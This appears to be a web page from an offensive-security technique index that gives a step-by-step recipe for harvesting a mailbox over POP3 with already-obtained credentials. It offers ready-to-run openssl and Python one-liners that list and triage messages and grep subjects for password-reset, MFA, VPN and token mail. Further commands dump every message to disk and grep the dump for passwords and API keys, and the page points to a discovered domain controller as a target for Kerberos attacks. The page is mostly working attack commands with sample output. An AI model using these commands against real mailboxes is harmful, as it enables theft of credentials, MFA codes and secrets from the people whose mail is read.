Skip to content
HackIndex logo

HackIndex

POP3 Mailbox Data Harvesting

3 min read Mar 29, 2026

Mailbox access through valid POP3 credentials often yields credentials from password reset emails, MFA codes, VPN tokens, internal system references, and forwarding addresses that reveal the broader infrastructure. Triage by headers first — reading full message bodies only when headers indicate high-value content keeps the footprint minimal and avoids unnecessary data collection.

Connect and Get Mailbox Overview

Establish the session and pull a quick inventory before reading anything:

┌──(kali㉿kali)-[~]
└─$ echo -e "USER $USER\nPASS $PASSWORD\nSTAT\nLIST\nUIDL\nQUIT" | openssl s_client -connect $TARGET_IP:995 -crlf -quiet 2>/dev/null 
+OK Dovecot ready.
+OK
+OK 14 messages (86420 octets)
+OK 14 messages (86420 octets)
1 3200
2 1800
3 18960
4 2100
...

Note message sizes from LIST. Large messages contain attachments. STAT gives total message count and size for quick impact assessment. UIDL gives stable identifiers useful for tracking which messages have been reviewed.

Triage All Messages by Headers

Pull headers for every message with TOP before reading any bodies. Set the line count to 0 to get headers only:

┌──(kali㉿kali)-[~]
└─$ python3 << 'EOF'
import subprocess
commands = 'USER $USER\nPASS $PASSWORD\n' + ''.join([f'TOP {i} 0\n' for i in range(1, 15)]) + 'QUIT\n'
result = subprocess.run(['openssl', 's_client', '-connect', '$TARGET_IP:995', '-crlf', '-quiet'],
input=commands.encode(), capture_output=True, timeout=30)
print(result.stdout.decode(errors='replace'))
EOF

Scan header output for high-value subjects. Password reset, temporary password, MFA code, VPN access, invoice, and account confirmation subjects are immediate targets for full message retrieval.

Retrieve High-Value Messages

Pull full bodies only for messages identified as high value during header triage:

┌──(kali㉿kali)-[~]
└─$ echo -e "USER $USER\nPASS $PASSWORD\nRETR 3\nQUIT" | openssl s_client -connect $TARGET_IP:995 -crlf -quiet 2>/dev/null | grep -v '+OK\|-ERR' 
From: IT Support <[email protected]>
Subject: Your temporary password

Your temporary password is: TempP@ss2026!
Please log in and change it immediately.

Search Headers for Credential Keywords

After pulling headers for all messages, grep for subjects containing credential-related terms:

┌──(kali㉿kali)-[~]
└─$ echo -e "USER $USER\nPASS $PASSWORD\n$(for i in $(seq 1 20); do echo "TOP $i 0"; done)\nQUIT" | openssl s_client -connect $TARGET_IP:995 -crlf -quiet 2>/dev/null | grep -i 'subject:' | grep -iE 'password|reset|temporary|vpn|mfa|token|code|access|credential' 
Subject: Your temporary password is ready
Subject: VPN access credentials
Subject: Two-factor authentication code

Extract Internal Hostnames from Received Headers

The Received headers in mail trace the routing path and often contain internal server names and IP addresses:

┌──(kali㉿kali)-[~]
└─$ echo -e "USER $USER\nPASS $PASSWORD\nTOP 1 0\nQUIT" | openssl s_client -connect $TARGET_IP:995 -crlf -quiet 2>/dev/null | grep -i 'received:' 
Received: from mail01.company.local (mail01.company.local [10.10.10.50])
Received: from dc01.company.local (dc01.company.local [10.10.10.10])

Internal hostnames and IPs in Received headers map infrastructure without any scanning. dc01.company.local at 10.10.10.10 is a domain controller — an immediate target for Kerberos attacks and credential reuse testing.

Save Mailbox to Disk

For full offline analysis, dump all messages to local files:

┌──(kali㉿kali)-[~]
└─$ mkdir -p /tmp/pop3_dump/$USER
┌──(kali㉿kali)-[~]
└─$ for i in $(seq 1 14); do
echo -e "USER $USER\nPASS $PASSWORD\nRETR $i\nQUIT" | openssl s_client -connect $TARGET_IP:995 -crlf -quiet 2>/dev/null | grep -v '^\+OK\|^-ERR\|^QUIT' > /tmp/pop3_dump/$USER/msg_$i.eml
echo "Saved message $i"
done 
Saved message 1
Saved message 2
...
Saved message 14
┌──(kali㉿kali)-[~]
└─$ grep -rh -iE 'password|passwd|token|api.?key|secret' /tmp/pop3_dump/$USER/ | grep -v 'Content-Type\|boundary' 
Your temporary password is: TempP@ss2026!
API Key: sk-prod-xK2aB1cD3eF4gH5i

References